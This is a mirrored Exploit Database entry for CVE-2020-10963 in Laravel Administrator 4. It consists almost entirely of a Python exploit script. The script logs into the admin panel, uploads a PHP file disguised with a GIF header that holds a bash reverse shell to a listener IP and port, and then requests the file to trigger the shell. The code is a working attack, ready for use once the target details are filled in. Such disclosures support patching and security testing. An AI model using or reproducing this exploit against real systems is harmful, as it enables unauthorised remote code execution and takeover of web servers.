Laravel Administrator 4 – Unrestricted File Upload (Authenticated)

• Exploit Database
• 119 阅读

• 作者： Xavi Beltran
  日期： 2020-11-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49112/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55

  # Exploit title: Laravel Administrator 4 - Unrestricted File Upload (Authenticated) # Author: Victor Campos and Xavi Beltran # Contact: vcmartin@protonmail.com # Exploit Development: https://xavibel.com/2020/03/23/unrestricted-file-upload-in-frozennode-laravel-administrator/ # Date: 25/3/2020 # Software link: https://github.com/FrozenNode/Laravel-Administrator/ # Version : 4 # Tested on: Laravel-Administrator 4 # CVE : CVE-2020-10963   #!/usr/bin/env python   import requests,json,traceback from requests.auth import HTTPBasicAuth     #Parameters to be set up (ENTER YOUR VALUES) #=========================================== # Listener IP and port ip = "" port = "" #Admin credentials user = "" password = "" #URLs of the web application domain = "" # For example "https://www.example.com" login_url = "" # For example "/user/login" fileupload_url = "" # For example "/admin/categories/image/file_upload" uploaded_files_url = "" # For example "/categories/images"       #Reverse shell payload (DO NOT MODIFY THIS SECTION) #================================================== #GIF file header shell = "GIF89a\r\n" #php reverse shell shell += "\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/" + ip + "/" + port + " 0\x3e&1\'\");?\x3e\r\n"     with requests.Session() as s: try: print("\n[+] Logging into the panel") s.post(domain + login_url, data={'email':user,'password':password,'remember': '1'}) print("[+] Uploading the malicious file") r = s.post(domain + fileupload_url, files={'name':'Picture.png','file': ('test.php',shell)}) print("[+] Response text:") #print(r.text) shell_file = (json.loads(r.text))["filename"] print("[+] Name of uploaded file: " + shell_file) print("\n[+] Executing the reverse shell on " + ip + ":" + port + "...") r = s.get(domain + uploaded_files_url + '/' + shell_file) except Exception as e: print(str(traceback.format_exc()))